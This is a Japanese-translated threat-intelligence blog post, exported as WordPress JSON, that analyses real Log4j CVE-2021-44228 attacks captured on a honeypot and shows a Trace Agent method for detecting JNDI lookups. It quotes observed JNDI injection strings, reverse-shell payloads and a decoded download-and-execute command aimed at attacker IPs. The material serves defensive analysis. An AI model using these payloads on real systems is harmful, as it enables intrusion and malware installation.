{"id":47542,"date":"2021-12-22T10:00:37","date_gmt":"2021-12-22T01:00:37","guid":{"rendered":"https:\/\/www.creationline.com\/?p=47542"},"modified":"2021-12-22T09:21:52","modified_gmt":"2021-12-22T00:21:52","slug":"%e8%84%85%e5%a8%81%e3%82%a2%e3%83%a9%e3%83%bc%e3%83%88%ef%bc%9alog4j%e6%94%bb%e6%92%83%e3%81%ae%e8%bf%bd%e8%b7%a1-aqua-%e3%82%bb%e3%82%ad%e3%83%a5%e3%83%aa%e3%83%86%e3%82%a3-%e8%84%86%e5%bc%b1","status":"publish","type":"post","link":"https:\/\/www.creationline.com\/tech-blog\/cloudnative\/aquasecurity\/47542","title":{"rendered":"\u8105\u5a01\u30a2\u30e9\u30fc\u30c8\uff1aLog4j\u653b\u6483\u306e\u8ffd\u8de1 #aqua #\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3 #\u8106\u5f31\u6027 #java #log4j"},"content":{"rendered":"<p>\u672c\u30d6\u30ed\u30b0\u306f\u300cAqua Security\u300d\u793e\u306e\u6280\u8853\u30d6\u30ed\u30b0\u30672021\u5e7412\u670817\u65e5\u306b\u516c\u958b\u3055\u308c\u305f\u300c<a href=\"https:\/\/blog.aquasec.com\/real-world-log4j-attacks-analysis\" rel=\"nofollow noopener noreferrer\" target=\"_blank\"> Threat Alert: Tracking Real-World Log4j Attacks <\/a>\u300d\u306e\u65e5\u672c\u8a9e\u7ffb\u8a33\u3067\u3059\u3002<\/p>\n<p><center><img loading=\"lazy\" decoding=\"async\" src=\"\/tech-blog\/cms_x3GWkuX\/wp-content\/uploads\/2021\/12\/1ca797022dcf135fc4c3a1ab51e540b6.png\" alt=\"\" width=\"865\" height=\"417\" class=\"alignnone size-full wp-image-47543\" srcset=\"https:\/\/www.creationline.com\/tech-blog\/cms_x3GWkuX\/wp-content\/uploads\/2021\/12\/1ca797022dcf135fc4c3a1ab51e540b6.png 865w, https:\/\/www.creationline.com\/tech-blog\/cms_x3GWkuX\/wp-content\/uploads\/2021\/12\/1ca797022dcf135fc4c3a1ab51e540b6-360x174.png 360w, https:\/\/www.creationline.com\/tech-blog\/cms_x3GWkuX\/wp-content\/uploads\/2021\/12\/1ca797022dcf135fc4c3a1ab51e540b6-768x370.png 768w\" sizes=\"auto, (max-width: 865px) 100vw, 865px\" \/><\/center><\/p>\n<h2>\u8105\u5a01\u30a2\u30e9\u30fc\u30c8\uff1aLog4j\u653b\u6483\u306e\u8ffd\u8de1<\/h2>\n<hr \/>\n<p>Log4j \u306f\u3001\u591a\u304f\u306e\u6700\u65b0\u306e Web \u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u306e\u30d0\u30c3\u30af\u30b0\u30e9\u30a6\u30f3\u30c9\u3067\u52d5\u4f5c\u3059\u308b\u6570\u591a\u304f\u306e\u30b3\u30f3\u30dd\u30fc\u30cd\u30f3\u30c8\u3067\u3042\u308a\u3001\u4e00\u822c\u7684\u306a Java \u30ed\u30ae\u30f3\u30b0\u30d5\u30ec\u30fc\u30e0\u30ef\u30fc\u30af\u306e1\u3064\u3067\u3057\u305f\u3002\u3057\u304b\u3057\u3001<a href=\"\/lab\/aquasecurity\/47375\" rel=\"noopener\" target=\"_blank\">\u30bc\u30ed\u30c7\u30a4\u8106\u5f31\u6027(CVE-2021-44228)<\/a>\u304c\u516c\u958b\u3055\u308c\u3066\u4ee5\u6765\u3001\u7814\u7a76\u8005\u304c Log4j \u304c\u4efb\u610f\u306e\u30b3\u30fc\u30c9\u3092\u5b9f\u884c\u3055\u308c\u308b\u8106\u5f31\u6027\u304c\u3042\u308b\u3053\u3068\u304c\u660e\u3089\u304b\u306b\u3055\u308c\u3001\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30b3\u30df\u30e5\u30cb\u30c6\u30a3\u306b\u5927\u304d\u306a\u885d\u6483\u3092\u4e0e\u3048\u3066\u3044\u307e\u3059\u3002Aqua \u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u7814\u7a76\u30c1\u30fc\u30e0\u3067\u3042\u308b Team Nautilus \u306f\u3001\u3053\u306e\u8106\u5f31\u6027\u3092\u6301\u3064\u30cf\u30cb\u30fc\u30dd\u30c3\u30c8\u3092\u4f5c\u6210\u3057\u3001\u5b9f\u969b\u306e\u653b\u6483\u8005\u304c\u3069\u306e\u3088\u3046\u306b\u8106\u5f31\u6027\u3092\u60aa\u7528\u3059\u308b\u304b\u3092\u89b3\u5bdf\u3057\u307e\u3057\u305f\u3002<\/p>\n<h3>Log4j\u306eCVE-2021-44228\u306b\u3064\u3044\u3066\u306e\u307e\u3068\u3081<\/h3>\n<p>2021\u5e7412\u67089\u65e5\u3001\u4eba\u6c17\u306e\u9ad8\u3044 Java \u7528\u30ed\u30ae\u30f3\u30b0\u30d5\u30ec\u30fc\u30e0\u30ef\u30fc\u30af Log4j \u306e\u30bc\u30ed\u30c7\u30a4\u8106\u5f31\u6027\u304c\u521d\u3081\u3066\u516c\u958b\u3055\u308c\u307e\u3057\u305f\u3002NIST \u306f\u3053\u306e\u8106\u5f31\u6027(<a href=\"https:\/\/avd.aquasec.com\/nvd\/cve-2021-44228\/\" rel=\"noopener\" target=\"_blank\">CVE-2021-44228<\/a>)\u306b\u3001\u305d\u306e\u91cd\u8981\u5ea6\u309210\u70b9\u6e80\u70b9\u4e2d\u306710\u70b9\u3092\u4e0e\u3048\u3066\u3044\u307e\u3059\u3002\u3053\u306e\u8106\u5f31\u6027\u306f\u3001\u30ea\u30e2\u30fc\u30c8\u3067\u306e\u30b3\u30fc\u30c9\u5b9f\u884c\u304c\u53ef\u80fd\u3067\u3042\u308a\u3001\u5bb9\u6613\u306b\u60aa\u7528\u3067\u304d\u308b\u305f\u3081\u3001\u3059\u3067\u306b\u6570\u5341\u306e PoC \u304c\u30aa\u30f3\u30e9\u30a4\u30f3\u3067\u516c\u958b\u3055\u308c\u3066\u304a\u308a\u3001\u307e\u305f\u3001\u3053\u306e\u8106\u5f31\u6027\u304c\u5927\u898f\u6a21\u306b\u60aa\u7528\u3055\u308c\u3066\u3044\u308b\u3053\u3068\u3082\u591a\u6570\u5831\u544a\u3055\u308c\u3066\u3044\u307e\u3059\u3002<\/p>\n<h3>\u4e3b\u306a\u8abf\u67fb\u7d50\u679c<\/h3>\n<p>\u30d0\u30c3\u30af\u30b0\u30e9\u30a6\u30f3\u30c9\u3067 Aqua Platform \u3092\u52d5\u4f5c\u3055\u305b\u305f\u3001CVE-2021-44228 \u306b\u5bfe\u3057\u3066\u8106\u5f31\u306a\u74b0\u5883\u3092\u8a2d\u7f6e\u3057\u307e\u3057\u305f\u3002\u305d\u306e\u5f8c\u6570\u6642\u9593\u3067\u3001\u30cf\u30cb\u30fc\u30dd\u30c3\u30c8\u306b\u5bfe\u3059\u308b\u69d8\u3005\u306a\u653b\u6483\u30d1\u30bf\u30fc\u30f3\u3092\u30ea\u30a2\u30eb\u30bf\u30a4\u30e0\u3067\u691c\u51fa\u3057\u307e\u3057\u305f\u3002\u305d\u306e\u4e2d\u306b\u306f\u30011\uff5e2\u56de\u3057\u304b\u74b0\u5883\u3092\u653b\u6483\u3057\u3066\u3053\u306a\u3044\u3082\u306e\u3082\u3042\u308c\u3070\u3001\u6570\u5206\u304a\u304d\u306b\u7e70\u308a\u8fd4\u3057\u653b\u6483\u3057\u3066\u304f\u308b\u3082\u306e\u3082\u3042\u308a\u3001\u5927\u898f\u6a21\u306a\u30dc\u30c3\u30c8\u30cd\u30c3\u30c8\u306e\u6d3b\u52d5\u304c\u4f3a\u3048\u307e\u3059\u3002\u5b9f\u969b\u3001<a href=\"\/lab\/aquasecurity\/47375\" rel=\"noopener\" target=\"_blank\">Log4j \u306e\u8106\u5f31\u6027<\/a>\u3092\u60aa\u7528\u3057\u305f\u6700\u5927\u898f\u6a21\u306e\u30dc\u30c3\u30c8\u30cd\u30c3\u30c8\u3082\u78ba\u8a8d\u3055\u308c\u3066\u3044\u307e\u3059\u3002<\/p>\n<p>Muhskit \u30dc\u30c3\u30c8\u30cd\u30c3\u30c8\u3001Mirai \u30dc\u30c3\u30c8\u30cd\u30c3\u30c8\u3001\u304a\u3088\u3073\u3044\u304f\u3064\u304b\u306e\u30bf\u30a4\u30d7\u306e \u30ea\u30d0\u30fc\u30b9\u30b7\u30a7\u30eb \u653b\u6483\u306a\u3069\u3001\u79c1\u305f\u3061\u306e\u30cf\u30cb\u30fc\u30dd\u30c3\u30c8\u306b\u5bfe\u3059\u308b\u3055\u307e\u3056\u307e\u306a\u7a2e\u985e\u306e\u653b\u6483\u3092\u78ba\u8a8d\u3067\u304d\u307e\u3057\u305f\u3002<\/p>\n<p><center><img decoding=\"async\" src=\"https:\/\/blog.aquasec.com\/hs-fs\/hubfs\/Blog\/Log4j%20Attacks%2012-21\/Picture1Pie_OK.jpg?width=400&name=Picture1Pie_OK.jpg\" alt=\"\" \/><\/center><br \/>\n<center>\u56f31\uff1a\u30cf\u30cb\u30fc\u30dd\u30c3\u30c8\u3067\u78ba\u8a8d\u3055\u308c\u305f\u653b\u6483\u5206\u5e03<\/center><\/p>\n<p>\u56f32\u306b\u898b\u3089\u308c\u308b\u3088\u3046\u306b\u3001\u65e2\u77e5\u306e\u30de\u30eb\u30a6\u30a7\u30a2\u3001\u30ea\u30e2\u30fc\u30c8\u30ea\u30bd\u30fc\u30b9\u304b\u3089\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3057\u305f\u30d5\u30a1\u30a4\u30eb\u3092\u30e1\u30e2\u30ea\u304b\u3089\u76f4\u63a5\u5b9f\u884c\u3059\u308b\u30d5\u30a1\u30a4\u30eb\u30ec\u30b9\u30de\u30eb\u30a6\u30a7\u30a2\u3001\u30ea\u30d0\u30fc\u30b9\u30b7\u30a7\u30eb\u5b9f\u884c\u306a\u3069\u3001\u30cf\u30cb\u30fc\u30dd\u30c3\u30c8\u74b0\u5883\u3092\u60aa\u7528\u3059\u308b\u60aa\u610f\u306e\u3042\u308b\u624b\u6cd5\u304c\u8907\u6570\u691c\u51fa\u3055\u308c\u307e\u3057\u305f\u3002<\/p>\n<p><center><img decoding=\"async\" src=\"https:\/\/blog.aquasec.com\/hs-fs\/hubfs\/Blog\/Log4j%20Attacks%2012-21\/Image1_OK.jpg?width=900&name=Image1_OK.jpg\" alt=\"\" \/><\/center><br \/>\n<center>\u56f32\uff1aAqua\u306eLog4j\u653b\u6483\u8a66\u884c\u306e\u691c\u51fa\u7d50\u679c<\/center><\/p>\n<p>Aqua Platform \u306e Cloud Native Detection and Response(CNDR)\u3092\u6d3b\u7528\u3057\u305f\u6ce8\u76ee\u3059\u3079\u304d\u691c\u77e5\u306f\u3001\u30e1\u30e2\u30ea\u306b\u66f8\u304d\u8fbc\u307e\u308c\u305f\u65b0\u305f\u306a\u5b9f\u884c\u30d5\u30a1\u30a4\u30eb\u3067\u3059\u3002\u56f33\u306b\u898b\u3089\u308c\u308b\u3088\u3046\u306b\u3001<a href=\"\/lab\/aquasecurity\/45414\" rel=\"noopener\" target=\"_blank\">CNDR<\/a> \u306f ELF pty3(Muhstik \u30de\u30eb\u30a6\u30a7\u30a2)\u304c\u30e1\u30e2\u30ea\u306b\u30ed\u30fc\u30c9\u3055\u308c\u3001\u5b9f\u884c\u3055\u308c\u305f\u3053\u3068\u3092\u691c\u51fa\u3057\u307e\u3057\u305f\u3002<\/p>\n<p><center><img decoding=\"async\" src=\"https:\/\/blog.aquasec.com\/hs-fs\/hubfs\/Blog\/Log4j%20Attacks%2012-21\/Image3_2_OK.jpg?width=844&name=Image3_2_OK.jpg\" alt=\"\" \/><\/center><br \/>\n<center>\u56f33\uff1a\u30e1\u30e2\u30ea\u4e0a\u306b Muhstik \u30de\u30eb\u30a6\u30a7\u30a2\u304c\u5b9f\u884c<\/center><\/p>\n<p>\u653b\u6483\u8005\u306f\u3001\u30a8\u30fc\u30b8\u30a7\u30f3\u30c8\u30ec\u30b9\u30bd\u30ea\u30e5\u30fc\u30b7\u30e7\u30f3\u3084\u901a\u5e38\u306e\u30a2\u30f3\u30c1\u30a6\u30a3\u30eb\u30b9\u30bd\u30d5\u30c8\u30a6\u30a7\u30a2(AV)\u306b\u3088\u308b\u691c\u51fa\u3092\u56de\u907f\u3059\u308b\u305f\u3081\u306b\u3001\u3053\u306e\u3088\u3046\u306a\u624b\u6cd5\u3092\u4f7f\u7528\u3057\u307e\u3059\u3002\u3053\u308c\u3089\u306e\u30bd\u30ea\u30e5\u30fc\u30b7\u30e7\u30f3\u306f\u901a\u5e38\u3001\u30d5\u30a1\u30a4\u30eb\u30b7\u30b9\u30c6\u30e0\u306e\u30b3\u30d4\u30fc\u3092\u62bd\u51fa\u3057\u305f\u308a\u3001VPC \u30ed\u30b0(\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u901a\u4fe1\u306e\u30e1\u30bf\u30c7\u30fc\u30bf)\u3092\u76e3\u8996\u3059\u308b\u3053\u3068\u3067\u3001\u65e2\u77e5\u306e\u60aa\u610f\u306e\u3042\u308b\u8105\u5a01\u3092\u691c\u51fa\u3057\u307e\u3059\u3002\u3057\u304b\u3057\u3001\u4eca\u56de\u306e\u30b1\u30fc\u30b9\u3067\u306f\u3001Mushtik \u30de\u30eb\u30a6\u30a7\u30a2\u306f\u30e1\u30e2\u30ea\u306b\u76f4\u63a5\u66f8\u304d\u8fbc\u307e\u308c\u3001\u30d5\u30a1\u30a4\u30eb\u30b7\u30b9\u30c6\u30e0\u306b\u89e6\u308c\u308b\u3053\u3068\u306a\u304f\u5b9f\u884c\u3055\u308c\u307e\u3057\u305f\u3002\u3057\u305f\u304c\u3063\u3066\u3001\u30e1\u30e2\u30ea\u5185\u3067\u5b9f\u884c\u3055\u308c\u3066\u3044\u308b\u30d7\u30ed\u30bb\u30b9\u3092\u78ba\u8a8d\u3059\u308b\u3068\u304c\u3067\u304d\u306a\u3044\u30a8\u30fc\u30b8\u30a7\u30f3\u30c8\u30ec\u30b9\u30bd\u30ea\u30e5\u30fc\u30b7\u30e7\u30f3\u3067\u306f\u3001\u3053\u306e\u30de\u30eb\u30a6\u30a7\u30a2\u3092\u691c\u51fa\u3067\u304d\u307e\u305b\u3093\u3002<\/p>\n<h3>JNDI Lookup \u6a5f\u80fd\u3092\u30d5\u30c3\u30af\u3057\u305f\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u306e\u691c\u51fa<\/h3>\n<p>JNDI(Java Naming and Directory Interface)\u306f\u3001Java \u30bd\u30d5\u30c8\u30a6\u30a7\u30a2\u30af\u30e9\u30a4\u30a2\u30f3\u30c8\u304c\u540d\u524d\u3092\u4ecb\u3057\u3066\u30c7\u30fc\u30bf\u3084\u30ea\u30bd\u30fc\u30b9\u3092\u767a\u898b\u3057\u3001\u691c\u7d22\u3067\u304d\u308b\u3088\u3046\u306b\u3059\u308b\u30c7\u30a3\u30ec\u30af\u30c8\u30ea\u30b5\u30fc\u30d3\u30b9\u306e Java API \u3067\u3059\u3002Log4j \u30e9\u30a4\u30d6\u30e9\u30ea\u304c JNDI Lookup \u3092\u958b\u59cb\u3059\u308b\u305f\u3081\u306b\u4f7f\u7528\u3059\u308b\u95a2\u6570\u3078\u30d5\u30c3\u30af\u3092\u633f\u5165\u3059\u308b\u3053\u3068\u3067\u3001\u653b\u6483\u306e\u8a66\u307f\u3092\u691c\u51fa\u3067\u304d\u307e\u3059\u3002<\/p>\n<p><a href=\"https:\/\/github.com\/attilapiros\/trace-agent\" rel=\"noopener\" target=\"_blank\">Trace Agent<\/a> \u306f\u3001\u7c21\u5358\u306a\u30c6\u30ad\u30b9\u30c8\u30d5\u30a1\u30a4\u30eb\u3067\u8a2d\u5b9a\u53ef\u80fd\u306a Java \u30a8\u30fc\u30b8\u30a7\u30f3\u30c8\u306b\u3088\u308a\u3001\u30ea\u30d3\u30eb\u30c9\u306a\u3057\u3067 Java \u95a2\u6570\u3092\u30c8\u30ec\u30fc\u30b9\u3067\u304d\u307e\u3059\u3002GitHub \u304b\u3089\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3057\u3001\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u306b\u8ffd\u52a0\u3067\u304d\u307e\u3059\u3002\u3053\u306e\u30d7\u30ed\u30b0\u30e9\u30e0\u306b\u306f\u3001\u30a8\u30fc\u30b8\u30a7\u30f3\u30c8\u306e jar \u306b\u8ffd\u52a0\u3059\u308b\u5fc5\u8981\u304c\u3042\u308b\u3001actions.txt \u3068\u3044\u3046\u8a2d\u5b9a\u30d5\u30a1\u30a4\u30eb\u304c\u3042\u308a\u307e\u3059\u3002\u3053\u308c\u306b\u3088\u308a\u3001Lookup \u95a2\u6570\u306b\u30d5\u30c3\u30af\u3059\u308b\u30b3\u30fc\u30c9\u3092\u8ffd\u52a0\u3067\u304d\u307e\u3059\u3002Log4j \u306e\u30a2\u30af\u30c6\u30a3\u30d6\u306a\u4f7f\u7528\u304c\u3042\u308b\u3068\u3001\u6e21\u3055\u308c\u305f JNDI \u653b\u6483\u30b3\u30de\u30f3\u30c9\u306e\u5168\u4f53\u3092\u30ad\u30e3\u30d7\u30c1\u30e3\u3057\u307e\u3059\u3002<\/p>\n<p>\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u3092\u5b9f\u884c\u3059\u308b\u3068\u3001action.txt \u304c\u30ed\u30fc\u30c9\u3055\u308c\u305f\u3053\u3068\u3092\u793a\u3059\u6b21\u306e\u3088\u3046\u306a\u30d7\u30ea\u30f3\u30c8\u304c\u753b\u9762\u306b\u8868\u793a\u3055\u308c\u307e\u3059\u3002<\/p>\n<p><center><img decoding=\"async\" src=\"https:\/\/blog.aquasec.com\/hs-fs\/hubfs\/Blog\/Log4j%20Attacks%2012-21\/Image4_OK.jpg?width=800&name=Image4_OK.jpg\" alt=\"\" \/><\/center><br \/>\n<center>\u56f34\uff1aTrace-Agent\u3092\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u306b\u8aad\u307f\u8fbc\u3080<\/center><\/p>\n<p>JNDI \u653b\u6483\u306e\u8a66\u307f\u304c\u3042\u308b\u3068\u3001\u30c8\u30ea\u30ac\u30fc\u3068\u306a\u3063\u305f\u30e1\u30c3\u30bb\u30fc\u30b8\u304c\u691c\u77e5\u3055\u308c\u307e\u3059\u3002<\/p>\n<p><center><img decoding=\"async\" src=\"https:\/\/blog.aquasec.com\/hs-fs\/hubfs\/Blog\/Log4j%20Attacks%2012-21\/Image5_OK.jpg?width=800&name=Image5_OK.jpg\" alt=\"\" \/><\/center><br \/>\n<center>\u56f35\uff1aJNDI\u653b\u6483\u306b\u304a\u3051\u308bTrace-Agent\u306e\u30a2\u30a6\u30c8\u30d7\u30c3\u30c8<\/center><\/p>\n<p>\u3053\u306e\u65b9\u6cd5\u306f\u3001\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u304c Log4j \u3092\u7a4d\u6975\u7684\u306b\u4f7f\u7528\u3057\u3066\u3044\u308b\u304b\u3069\u3046\u304b\u3092\u78ba\u8a8d\u3059\u308b\u305f\u3081\u306b\u4f7f\u7528\u3067\u304d\u307e\u3059\u3002CVE-2021-44228 \u306b\u5bfe\u3057\u3066\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u3092\u4fdd\u8b77\u3057\u305f\u5f8c\u3001\u3053\u306e\u8106\u5f31\u6027\u3078\u306e\u5bfe\u51e6\u65b9\u6cd5\u304c\u30ea\u30b9\u30af\u306e\u8efd\u6e1b\u306b\u5f79\u7acb\u3063\u305f\u304b\u3069\u3046\u304b\u3092\u78ba\u8a8d\u3067\u304d\u307e\u3059\u3002<\/p>\n<p>\u3055\u3089\u306b\u3001\u30cf\u30cb\u30fc\u30dd\u30c3\u30c8\u3092\u69cb\u7bc9\u3067\u304d\u307e\u3059\u3002Lookup \u30d5\u30c3\u30af\u3092\u518d\u69cb\u7bc9\u3059\u308b\u305f\u3081\u306b\u3001\u4ee5\u4e0b\u306e\u30b9\u30c6\u30c3\u30d7\u3092\u8e0f\u3080\u3053\u3068\u304c\u3067\u304d\u307e\u3059\u3002<\/p>\n<ol>\n<li>Trace-Agent \u306e jar \u30d5\u30a1\u30a4\u30eb\u3092\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3057\u307e\u3059\u3002<br \/>\n\u3000\u3000wget https:\/\/github.com\/attilapiros\/trace-agent\/releases\/download\/v.0.0.8\/trace-agent-0.0.8.jar<\/p>\n<li>Lookup \u30d5\u30c3\u30af\u3092\u8a18\u8ff0\u3057\u305f actions.txt \u3092\u4f5c\u6210\u3057\u307e\u3059\u3002<br \/>\n\u3000\u3000echo \"trace_args org.apache.logging.log4j.core.lookup.JndiLookup lookup\" > actions.txt<\/p>\n<li>Trace-Agent jar \u306e actions.txt \u30d5\u30a1\u30a4\u30eb\u3092\u7f6e\u304d\u63db\u3048\u307e\u3059\u3002<br \/>\n\u3000\u3000jar uf trace-agent-1.0-SNAPSHOT.jar actions.txt<\/p>\n<li>Lookup \u30d5\u30c3\u30af\u3067\u8106\u5f31\u306a\u30a2\u30d7\u30ea\u3092\u5b9f\u884c\u3057\u307e\u3059\u3002<br \/>\n\u3000\u3000java -javaagent:trace-agent-0.0.8.jar -jar spring-boot-application.jar\n<\/ol>\n<h3>Log4j\u306b\u5bfe\u3059\u308b\u653b\u6483\u306e\u8a73\u7d30\u306a\u5206\u6790<\/h3>\n<p>Aqua \u3067\u306f\u7d99\u7d9a\u7684\u306b\u653b\u6483\u3092\u76e3\u8996\u3057\u3066\u3044\u307e\u3059\u3002\u4ee5\u4e0b\u3067\u306f\u3001\u30cf\u30cb\u30fc\u30dd\u30c3\u30c8\u306b\u5bfe\u3059\u308b\u6ce8\u76ee\u3059\u3079\u304d\u653b\u6483\u3092\u7d39\u4ecb\u3057\u307e\u3059\u3002<\/p>\n<h4>Muhstik\u30de\u30eb\u30a6\u30a7\u30a2<\/h4>\n<p>\u4ee5\u4e0b\u306f\u653b\u6483\u8005\u306b\u3088\u3063\u3066 Log4j \u306e\u8106\u5f31\u6027\u3092\u60aa\u7528\u3057\u305f\u6d41\u308c\u3067\u3059\u3002<\/p>\n<p>\u653b\u6483\u8005\u306f\u3001\u30ea\u30af\u30a8\u30b9\u30c8\u30d8\u30c3\u30c0\u306b\u4ee5\u4e0b\u306e\u6587\u5b57\u5217\u3092\u57cb\u3081\u8fbc\u3093\u3060 HTTPS \u30ea\u30af\u30a8\u30b9\u30c8\u3092\u9001\u4fe1\u3057\u307e\u3057\u305f\u3002<\/p>\n<p>${jndi:ldap:\/\/45[.]83[.]193[.]150:1389\/Exploit}<\/p>\n<p>\u653b\u6483\u8005\u304c\u30b5\u30fc\u30d0\u306b\u653b\u6483\u6587\u5b57\u5217\u3092\u542b\u3080\u4f55\u304b\u3092\u8a18\u9332\u3055\u305b\u308b\u3053\u3068\u306b\u6210\u529f\u3059\u308b\u3068\u3001JNDI Lookup \u304c\u767a\u52d5\u3057\u307e\u3059\u3002<\/p>\n<p>\u653b\u6483\u8005\u306f\u305d\u308c\u3092\u4f7f\u3063\u3066\u3001\u6b21\u306e Java \u30af\u30e9\u30b9\u30d5\u30a1\u30a4\u30eb\u3092\u30ed\u30fc\u30c9\u3057\u307e\u3057\u305f\u3002<\/p>\n<p><center><img decoding=\"async\" src=\"https:\/\/blog.aquasec.com\/hs-fs\/hubfs\/Blog\/Log4j%20Attacks%2012-21\/Figure6_OK.jpg?width=850&name=Figure6_OK.jpg\" alt=\"\" \/><\/center><br \/>\n<center>\u56f36\uff1a\u653b\u6483\u8005\u306eJava\u30af\u30e9\u30b9\u30d5\u30a1\u30a4\u30eb\u3092\u9006\u30b3\u30f3\u30d1\u30a4\u30eb<\/center><\/p>\n<p>Windows \u3067\u5b9f\u884c\u3059\u308b\u5834\u5408\u306f s.cmd \u3092\u3001Linux \u3067\u5b9f\u884c\u3059\u308b\u5834\u5408\u306f\u7279\u5b9a\u306e\u30b7\u30a7\u30eb\u30d5\u30a1\u30a4\u30eb\u3092\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3057\u3066\u5b9f\u884c\u3059\u308b\u3088\u3046\u306a\u30b3\u30fc\u30c9\u306b\u306a\u3063\u3066\u3044\u307e\u3059\u3002\u3053\u3053\u3067\u306f\u3001Linux \u306e\u30da\u30a4\u30ed\u30fc\u30c9\u3092\u89e3\u6790\u3057\u307e\u3057\u305f\u3002<\/p>\n<p><center><img decoding=\"async\" src=\"https:\/\/blog.aquasec.com\/hs-fs\/hubfs\/Blog\/Log4j%20Attacks%2012-21\/Image6_OK.jpg?width=850&name=Image6_OK.jpg\" alt=\"\" \/><\/center><br \/>\n<center>\u56f37\uff1aLinux\u30da\u30a4\u30ed\u30fc\u30c9<\/center><\/p>\n<p>5\u3064\u306e\u30d0\u30a4\u30ca\u30ea\u30681\u3064\u306e\u30b7\u30a7\u30eb\u30b9\u30af\u30ea\u30d7\u30c8\u304c\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3055\u308c\u307e\u3059\u3002<\/p>\n<p>pty1 (MD5: 9d647f2d1a9dd9a86ba18c42ff5da444)<br \/>\npty2 (MD5: 6f3885eee3668bafbefefd2eb17f4105)<br \/>\npty3 (MD5: ceb9a55eaa71101f86b14c6b296066c9)<br \/>\npty4 (MD5: 3430139e131617957d8c6aa48002ddac)<br \/>\npty5 (MD5: dcffb04aa4ccf54137c0ac921e181afd)<br \/>\nldm (MD5: e6a6ca7b1aeed5f4cc1e43fd6384230e)<\/p>\n<p>5\u3064\u306e pty \u30d5\u30a1\u30a4\u30eb\u306f\u3001Virus Total \u3067 Muhskit \u30de\u30eb\u30a6\u30a7\u30a2\u3068\u3057\u3066\u5206\u985e\u3055\u308c\u307e\u3057\u305f\u3002<\/p>\n<h4>\u30ea\u30d0\u30fc\u30b9\u30b7\u30a7\u30eb\u653b\u6483 \u305d\u306e1<\/h4>\n<p>HTTPS \u30ea\u30af\u30a8\u30b9\u30c8\u306e user-agent \u30d8\u30c3\u30c0\u30fc\u306b\u542b\u307e\u308c\u308b\u4ee5\u4e0b\u306e\u6587\u5b57\u5217\u3092\u8fc2\u56de\u3057\u3066\u30ea\u30d0\u30fc\u30b9\u30b7\u30a7\u30eb\u3092\u958b\u3053\u3046\u3068\u3059\u308b\u8a66\u307f\u304c\u3044\u304f\u3064\u304b\u898b\u53d7\u3051\u3089\u308c\u307e\u3057\u305f\u3002<\/p>\n<p>${jndi:ldap:\/\/159[.]223[.]5[.]30:1389\/a}<\/p>\n<p><center><img decoding=\"async\" src=\"https:\/\/blog.aquasec.com\/hs-fs\/hubfs\/Blog\/Log4j%20Attacks%2012-21\/figure8_OK.jpg?width=850&name=figure8_OK.jpg\" alt=\"\" \/><\/center><br \/>\n<center>\u56f38\uff1a\u30ea\u30d0\u30fc\u30b9\u30b7\u30a7\u30eb\u30b3\u30fc\u30c9 \u305d\u306e1<\/center><\/p>\n<h4>\u30ea\u30d0\u30fc\u30b9\u30b7\u30a7\u30eb\u653b\u6483 \u305d\u306e2<\/h4>\n<p>${jndi:ldap:\/\/167[.]99[.]32[.]139:1389\/Basic\/ReverseShell\/167.99.32.139\/9999}<\/p>\n<p><center><img decoding=\"async\" src=\"https:\/\/blog.aquasec.com\/hs-fs\/hubfs\/Blog\/Log4j%20Attacks%2012-21\/figure9_OK.jpg?width=850&name=figure9_OK.jpg\" alt=\"\" \/><\/center><br \/>\n<center>\u56f39\uff1a\u30ea\u30d0\u30fc\u30b9\u30b7\u30a7\u30eb\u30b3\u30fc\u30c9 \u305d\u306e2<\/center><\/p>\n<h4>\u30ea\u30d0\u30fc\u30b9\u30b7\u30a7\u30eb\u653b\u6483 \u305d\u306e3<\/h4>\n<p>${jndi:ldap:\/\/159[.]223[.]5[.]30:443\/}<\/p>\n<p><center><img decoding=\"async\" src=\"https:\/\/blog.aquasec.com\/hs-fs\/hubfs\/Blog\/Log4j%20Attacks%2012-21\/figure10_OK.jpg?width=850&name=figure10_OK.jpg\" alt=\"\" \/><\/center><br \/>\n<center>\u56f310\uff1a\u30ea\u30d0\u30fc\u30b9\u30b7\u30a7\u30eb\u30b3\u30fc\u30c9 \u305d\u306e3<\/center><\/p>\n<h4>py Mirai<\/h4>\n<p>${jndi:ldap:\/\/135[.]148[.]143[.]217:1389\/Basic\/Command\/Base64\/d2dldCBodHRwOi8vMTUyLjY3LjYzLjE1MC9weTsgY2htb2QgNzc3IHB5OyAuL3B5IHJjZS54ODY=}<\/p>\n<p>\u4ee5\u4e0b\u306f\u3001\u5fa9\u53f7\u3057\u305f\u30b3\u30de\u30f3\u30c9\u3067\u3059\u3002<\/p>\n<p>wget http:\/\/152[.]67[.]63[.]150\/py; chmod 777 py; .\/py rce.x86<\/p>\n<p>\u4ee5\u4e0b\u306f\u3001Java\u306e\u30af\u30e9\u30b9\u3067\u3059\u3002<\/p>\n<p><center><img decoding=\"async\" src=\"https:\/\/blog.aquasec.com\/hs-fs\/hubfs\/Blog\/Log4j%20Attacks%2012-21\/Figure11l_OK.jpg?width=850&name=Figure11l_OK.jpg\" alt=\"\" \/><\/center><br \/>\n<center>\u56f311\uff1aBase64\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8 \u305d\u306e1<\/center><\/p>\n<p>\u30d5\u30a1\u30a4\u30eb py(MD5 